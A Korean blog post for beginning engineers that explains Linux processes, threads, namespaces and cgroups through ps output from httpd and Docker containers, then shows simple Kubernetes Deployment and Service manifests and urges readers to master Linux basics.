시작하는 엔지니어를 위해 - 3

https://linuxer.name/2020/12/%ec%8b%9c%ec%9e%91%ed%95%98%eb%8a%94-%ec%97%94%ec%a7%80%eb%8b%88%ec%96%b4%eb%a5%bc-%ec%9c%84%ed%95%b4-2/ 시작하는 엔지니어를 위한 글을 쓴지 벌써 3년이 지났습니다. 3년간 저도 성장했고, 더 나은 이야기를 할수 있는 사람이 되었는지도 모르겠습니다. 그럼 이야기를 시작하겠습니다. 먼저 스레드(Thread)를 이야기하려 합니다. 스레드는 사용자가 제어할수 있는 가장 작은 단위의 리소스입니다. 스레드는 프로세스 내에서 독립적인 실행 흐름을 나타내며, 프로세스의 리소스를 공유합니다. 말로는 이해가 안될 수 있으니 한번 프로세스와 스레드를 보여드릴까 합니다. [root@ip-172-31-37-46 ~]# ps afxuww | grep httpd root 2908 0.0 1.4 753824 14668 ? Ss Sep05 7:57 /usr/sbin/httpd -DFOREGROUND apache 24171 0.1 6.5 1121056 64932 ? Sl 13:24 0:02 \\_ /usr/sbin/httpd -DFOREGROUND apache 24215 0.1 6.5 891616 65076 ? Sl 13:24 0:02 \\_ /usr/sbin/httpd -DFOREGROUND apache 24226 0.1 6.1 891616 60412 ? Sl 13:24 0:01 \\_ /usr/sbin/httpd -DFOREGROUND apache 24227 0.1 6.5 891616 64672 ? Sl 13:24 0:01 \\_ /usr/sbin/httpd -DFOREGROUND apache 24298 0.1 6.0 891616 59792 ? Sl 13:24 0:01 \\_ /usr/sbin/httpd -DFOREGROUND apache 24602 0.1 6.5 893756 64920 ? Sl 13:38 0:00 \\_ /usr/sbin/httpd -DFOREGROUND apache 24603 0.1 5.9 815580 58600 ? Sl 13:38 0:00 \\_ /usr/sbin/httpd -DFOREGROUND apache 24615 0.1 5.9 815836 58988 ? Sl 13:38 0:00 \\_ /usr/sbin/httpd -DFOREGROUND apache 24640 0.1 6.2 815876 62040 ? Sl 13:38 0:00 \\_ /usr/sbin/httpd -DFOREGROUND apache 24674 0.1 6.0 891360 59644 ? Sl 13:38 0:00 \\_ /usr/sbin/httpd -DFOREGROUND ```bash . 저의 시그니처 명령어인 ps afxuwww 를 이용하여 프로세스를 확인합니다. ps afxuwww 명령어는 프로세스리스트를 모두 트리구조로 백그라운드 프로세스도 포함해서 유저 중심으로 넓게 보여주는 명령어립니다. 부모프로세스까지 합쳐서 12개의 프로세스가 구동중입니다. 그렇다면 이프로세스에는 몇개의 쓰레드가 있는지 확인해 봅시다. ```bash ps -eLf | grep httpd root 2908 1 2908 0 1 Sep05 ? 00:07:57 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24215 0 6 13:24 ? 00:00:02 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24216 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24217 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24218 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24219 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24215 2908 24220 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24226 0 6 13:24 ? 00:00:02 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24228 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24229 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24230 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24231 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24226 2908 24232 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24298 0 6 13:24 ? 00:00:02 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24308 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24309 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24310 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24311 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24298 2908 24312 0 6 13:24 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24602 0 6 13:38 ? 00:00:01 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24609 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24610 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24611 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24612 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24602 2908 24613 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24603 0 6 13:38 ? 00:00:01 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24604 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24605 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24606 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24607 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24603 2908 24608 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24615 0 6 13:38 ? 00:00:01 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24623 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24624 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24625 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24626 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24615 2908 24627 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24640 0 6 13:38 ? 00:00:01 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24654 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24655 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24656 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24657 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24640 2908 24658 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24674 0 6 13:38 ? 00:00:01 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24676 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24677 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24678 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24679 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24674 2908 24680 0 6 13:38 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24783 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24790 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24791 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24792 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24793 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24794 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24821 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24822 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24823 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24824 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24825 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24826 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24827 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24828 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24829 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24830 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24831 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24832 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24833 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24834 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24835 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24783 2908 24836 0 22 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24798 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24814 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24815 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24816 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24817 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND apache 24798 2908 24818 0 6 13:47 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND ```bash . 총 77개의 스레드가 확인됩니다. 앞서 말했던것과 같이 스레드는 프로세스의 자원을 공유하므로 pid 가 같으면 같은 프로세스의 스레드라 할수있습니다. 그렇다면 각 스레드의 프로세스 갯수를 확인해 보겠습니다. ```bash ps -eLf | grep httpd | awk '{print $2}' | sort -n | uniq -c 1 2908 6 24215 6 24226 6 24298 6 24602 6 24603 6 24615 6 24640 6 24674 22 24783 6 24798 1 25189 ```bash . ps -eLf 명령어는 중요한부분은 L 옵션입니다. 스레드를 출력하는 옵션입니다. 그다음 명령어는 httpd 스레드의 2번째 행만 발라낸뒤 숫자로 정렬하고 유니크 명령어로 각 카운트를 세었습니다. 뭔가 연관성이 보이지 않나요? 6번째 행에서 보여주는 값이 프로세스내 스레드 갯수입니다. 이렇게 하나의 프로세스는 여러개의 스레드를 가지고있는 것을 확인할수 있습니다. 그럼 시작하는 엔지니어의 글을 작성한다고 했던 제가 왜 스레드니 프로세스니 하는 이야기를 하고 있을까요? 프로세스는 오늘 할 이야기의 시작이자 끝이기 때문입니다. 프로세스의 정의는 실행 중인 프로그램의 인스턴스입니다. 이는 코드, 데이터, 스택, 힙과 같은 메모리 영역, 파일 디스크립터, 환경 설정 등을 포함합니다. 운영 체제에서 기본적인 실행 단위로, 시스템 자원과 작업을 관리하는 데 사용됩니다. 이 프로세스를 격리하는 메커니즘을 Namespace 라고 합니다. 네임스페이스는 리눅스에서 프로세스를 격리하는 메커니즘입니다. 각 네임스페이스는 특정 종류의 시스템 자원을 감싸고, 프로세스가 그 자원을 별도로 보도록 합니다. 예를 들어, 네트워크, 파일시스템 마운트 포인트, 사용자 ID 등이 있습니다. 마지막으로 Cgroup 는 프로세스 그룹의 시스템 자원 사용을 제한하고 격리하는 기능을 제공합니다. cgroups를 사용하면 CPU 시간, 시스템 메모리, 네트워크 대역폭 등의 자원을 제어할 수 있습니다. 시스템 자원의 공정한 분배 및 특정 프로세스 그룹의 자원 사용을 제한하여 시스템의 안정성을 보장하는 데 사용됩니다. Namespace, Cgroup 이 둘은 함께 사용되어 프로세스의 격리 및 자원 관리를 향상시킵니다. 네임스페이스는 격리를 제공하고, Cgroup은 자원의 사용을 제한합니다. 이러한 조합은 효과적인 리소스 관리 및 격리된 환경을 제공하는 컨테이너 기술의 기반이 됩니다. 컨테이너는 가볍고, 이동이 쉬우며, 격리되고, 관리하기 편합니다. 컨테이너는 프로세스 입니다. 호스트 OS 내에서 앞서 보여드렸던, https 프로세스와 동일하다 보면 됩니다. 그러면 docker 에서 실행 중인 httpd 프로세스를 한번 확인해 보겠습니다. ```bash root 25830 0.3 0.8 711892 8832 ? Sl 14:22 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 006385b1389ce918e596adf536fedbf68fcece03b9170cd898ccc70eb79a60d2 -address /run/containerd/containerd.sock root 25853 7.0 0.4 5860 4756 ? Ss 14:22 0:00 \\_ httpd -DFOREGROUND 33 25882 0.0 0.3 807096 3720 ? Sl 14:22 0:00 \\_ httpd -DFOREGROUND 33 25883 0.0 0.3 807096 3720 ? Sl 14:22 0:00 \\_ httpd -DFOREGROUND 33 25884 0.0 0.3 807096 3720 ? Sl 14:22 0:00 \\_ httpd -DFOREGROUND ```bash . Container Runtime (containerd-shim)이 실행한 httpd 컨테이너가 보입니다. 이렇게 보기엔 단순 프로세스 이지만 컨테이너가 실행한 httpd 프로세스 입니다. 앞서 보여드렸던 스레드도 비슷한 형태로 실행 중입니다. ```bash ps -eLf | grep httpd root 25853 25830 25853 0 1 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25882 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25940 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25941 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25942 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25943 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25944 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25945 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25946 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25947 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25948 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25949 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25950 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25951 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25952 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25953 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25954 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25955 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25956 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25957 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25958 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25959 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25960 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25961 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25962 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25963 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25964 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25882 25853 25965 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25883 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25914 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25915 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25916 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25917 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25918 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25919 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25920 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25921 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25922 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25923 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25924 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25925 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25926 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25927 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25928 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25929 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25930 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25931 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25932 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25933 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25934 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25935 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25936 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25937 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25938 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25883 25853 25939 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25884 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25887 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25888 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25889 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25890 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25891 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25892 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25893 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25894 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25895 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25896 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25897 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25898 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25899 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25900 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25901 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25902 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25903 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25904 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25905 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25906 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25907 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25908 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25909 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25910 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25911 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND 33 25884 25853 25912 0 27 14:22 ? 00:00:00 httpd -DFOREGROUND ```bash . 이과정에서 컨테이너는 프로세스다 라는 개념을 확실하게 알았을 것이라 생각합니다. 그럼 이제 이 컨테이너의 사용을 확장해 봅시다. ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 927717d2d026 httpd "httpd-foreground" 4 seconds ago Up 3 seconds 80/tcp stupefied_gagarin 182ddd3df992 httpd "httpd-foreground" 5 seconds ago Up 4 seconds 80/tcp relaxed_lovelace 4d50ad075f73 httpd "httpd-foreground" 6 seconds ago Up 5 seconds 80/tcp upbeat_goldwasser cfb8c7c071b0 httpd "httpd-foreground" 8 seconds ago Up 7 seconds 80/tcp crazy_chandrasekhar ```bash . ```bash root 26254 0.0 0.9 712212 9312 ? Sl 14:29 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id cfb8c7c071b06dba1e760939d07649fd1e37a23df917c50002657ca04e0c3e9b -address /run/containerd/containerd.sock root 26276 0.7 0.4 5860 4700 ? Ss 14:29 0:00 \\_ httpd -DFOREGROUND 33 26305 0.0 0.3 807096 3664 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26306 0.0 0.3 807096 3664 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26307 0.0 0.3 807096 3664 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND root 26408 0.0 0.9 711892 9524 ? Sl 14:29 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 4d50ad075f73631dfc8ae7c25130ef309857a0d4d300176f4571c5dd19fe1e9b -address /run/containerd/containerd.sock root 26430 0.7 0.4 5860 4636 ? Ss 14:29 0:00 \\_ httpd -DFOREGROUND 33 26458 0.0 0.3 807096 3792 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26459 0.0 0.3 807096 3788 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26460 0.0 0.3 807096 3792 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND root 26561 0.0 0.8 711892 8872 ? Sl 14:29 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 182ddd3df992943a4f94d8455d5f535a66c6891b7151d5c1d60409f8085c8cc5 -address /run/containerd/containerd.sock root 26584 0.7 0.4 5860 4644 ? Ss 14:29 0:00 \\_ httpd -DFOREGROUND 33 26612 0.0 0.3 807096 3780 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26613 0.0 0.3 807096 3780 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26614 0.0 0.3 807096 3780 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND root 26715 0.0 0.8 712148 8640 ? Sl 14:29 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 927717d2d02634bc6d4a31913356a2cb4aa08315ac1ed81e53d96861c46d816c -address /run/containerd/containerd.sock root 26738 0.7 0.4 5860 4812 ? Ss 14:29 0:00 \\_ httpd -DFOREGROUND 33 26767 0.0 0.3 807096 3696 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26768 0.0 0.3 807096 3696 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND 33 26769 0.0 0.3 807096 3696 ? Sl 14:29 0:00 \\_ httpd -DFOREGROUND ```bash . 4개의 컨테이너가 구동중이고, 각자 격리된 형태입니다. 자원만 충분하다면 컨테이너를 ulimit 에 설정된 openfile 이 받아주는 한계에서 굉장히 많은 컨테이너를 실행할수 있습니다. 컨테이너 네트워크또한 호스트와 분리한다면 더욱더 많은 컨테이너를 실행할수 있습니다. 이러한 컨테이너의 형태는 우리 엔지니어들이 입이 마르고 닳도록 말하는 kubernetes 와 연결되어있습니다. N+1개로 이루어진 Pod는 Node에 스케줄링됩니다. 위에서 예제로 보인 4개의 컨테이너의 실행은 네번이나 run 커멘드를 실행해야 하므로 아주 귀찮습니다. Kubernetes 에서 100개의 컨테이너를 생성하는 방법은 아래와 같습니다. ```bash apiVersion: apps/v1 kind: Deployment metadata: name: httpd-deployment spec: replicas: 100 selector: matchLabels: app: httpd template: metadata: labels: app: httpd spec: containers: - name: httpd image: httpd:latest ports: - containerPort: 80 ```bash . 이 매니패스트를 **kubectl apply -f httpd-deployment.yaml** 명령어로 실행만 하면 100개의 pod가 실행됩니다. 이제 로드벨런싱을 이야기해야 할듯한데 사실 이부분도 쿠버네티스의 오브젝트들이 적절히 잘 만들어져 있기에 간단히 할수 있습니다. ```bash apiVersion: v1 kind: Service metadata: name: httpd-loadbalancer spec: selector: app: httpd ports: - protocol: TCP port: 80 targetPort: 80 type: LoadBalancer ```bash . 이러한 형태로 선언만 하면 이제 끝입니다. 이런 방법으로 우리는 httpd Container를 쉽게 만들수 있습니다. 그럼 프로세스에 이어서 바로 쿠버네티스로 넘어왔는데, 뭔가 빠져있다 생각하지 않나요? 바로 노드입니다. 쿠버네티스는 컨테이너 오케스트레이션이라 불립니다. 연결된 Node에 API를 이용하여 애플리케이션과 서비스를 구성하고 관리하고 조정합니다. 드디어 오늘의 이야기의 핵심에 다가가고 있습니다. 쿠버네티스는 결국 리눅스에 설치됩니다. 우리는 Pod와 Service 오브젝트는 간단히 다룰수있지만 추상화의 너머에 있는 Kubernetes의 프로세스와 노드에서 돌고있는 Kubelet 에 대해선 간단히 다룰수 없습니다. ![](/images/2023/12/image-1-1024x490.png) POD/ Service / Deployment ![](/images/2023/12/image-2-1024x477.png) Control Plane (쿠버네티스 컴포넌트) 추상화된 그 너머는 파악하기도 쉽지 않습니다. <https://kubernetes.io/ko/docs/concepts/overview/components/> 우리는 다양한 것들이 추상화되어있는 시대를 살고있습니다. 그래서 그 심연을 들여다 보면 멘탈이 날아가는 일이 비일비재 합니다. 이러한 일들에 내성을 가지고 이겨내기위해선 결국엔 기본능력이 오르는 수밖에 없습니다. 기본능력이라 함은 리눅스 입니다. 항상 리눅스를 잘하려면 어떻게 해야하나요? 라는 질문을 듣습니다. 리눅서로서 사실 죄송한 말이지만 리눅스를 잘하는 기준은 어디에도 없고 리눅스 서버운영에는 많은 명령어가 필요하지 않습니다. 대부분 10개이내의 명령어를 사용합니다. 하지만 대부분의 일은 그 명령어들 내에서 처리됩니다. 그렇다면 리눅스를 잘하려면 어떻게 해야하냐? 결국엔 다양한 명령어들을 경험하고 손에 익어서 문제가 발생한 시점에 그 명령어를 사용해서 시스템을 점검하는것이 리눅스를 잘하는 것입니다. 저 같은 경우엔 처음보는 시스템도 30분이면 대부분 파악이 됩니다. 그 힘은 다양한 리눅스 환경에서 헤멘탓이 큽니다. 디렉토리 구조 패키지형태 명령어 스타일 배포판 마다 조금씩 다릅니다. 이런경우 저는 레드헷 계열 리눅스를 편하게 쓰지만 처음 보는 리눅스라 해서 어려워하지 않습니다. 이유는 간단합니다. 리눅스는 프로세스를 볼수 있습니다. 앞서서 이야기한 ps 명령어가 그러합니다 ps 명령어는 실행중인 프로세스를 면밀히 관찰할수 있게하고, 실행한 프로세스의 위치 ,구조, 사용중인 자원들을 볼수 있게 합니다. 시스템의 대부분의 힌트는 프로세스 리스트에 있습니다. 시작하는 엔지니어라면 리눅스의 구조 동작을 먼저 공부하시고 그 다음엔 명령어 프로세스 동작 그리고 간단한 스크립트도 짜보는것을 추천합니다. 또한 리눅스에선 다양한 명령어 들이 있습니다. 지금 이순간에도 누군가가 리눅스의 명령어를 만들고 있을 것입니다. 자신만의 명령어를 만들어도 좋습니다. 리눅스에 익숙해지고 많이 두드려 보세요. 손가락에 익은 명령어는 시스템을 배신하지 않습니다. ~~사실 가끔 합니다 (rm -rf \*) 과 같은..누구나 하는 실수입니다.(저는안했습니다.)~~ 기승전리눅스를 이야기하게 되었네요. 하지만 리눅스는 현대의 IT를 이끌고있는 근간이고 대부분의 시스템이 리눅스에서 구동된다는 사실을 안다면 근본인 리눅스를 하지 않을수 없다 생각합니다. 이제 제가 하려던 이야기를 다풀어 낸것 같습니다. 오늘도 읽어주셔서 감사합니다. **좋은밤 되시라!**

December 6, 2023 · 16 min · 📁 Linux, 기타 · 🏷️ 시작하는, 엔지니어를, 위해

Argo-WorkFlow/Events

이글은 Argo WorkFlow로 CI를 하려했던 나의 경험담을 담고있다. Argo WorkFlow를 쓰려고 결심하고 리서칭하는 중이라면 AirFlow가 있다. 돌아가라. Argo WorkFlow는 Flow마다 Pod를 생성한다. 그대가 원하는 패턴이 맞는지 다시한번 생각하라. 매 Flow 마다 Pod가 만들어 지는것이 맞는가? 그렇다면 맞다 Argo WorkFlow 다. 그럼다면 다시 묻는다 CI를 위해서 Argo를 찾는것인가? K8S에서 다양한 CRD에 익숙하고 강력한 러닝커브는 즐거움으로 생각되고 CNCF에 기여하는게 꿈이라면 말리지 않겠다. 잘왔다. Argo WorkFlow/Events다. 이 글에선 CI를 다룬다. 물론 글이 깊진 않다. 하지만 찍먹으론 충분한 수준으로 그대에게 전달할 것이다. 먼저 Argo-WorkFlow 를 설치해야한다. ...

March 21, 2023 · 6 min · 📁 Linux, Kubernetes

PKOS-kOps-1Week

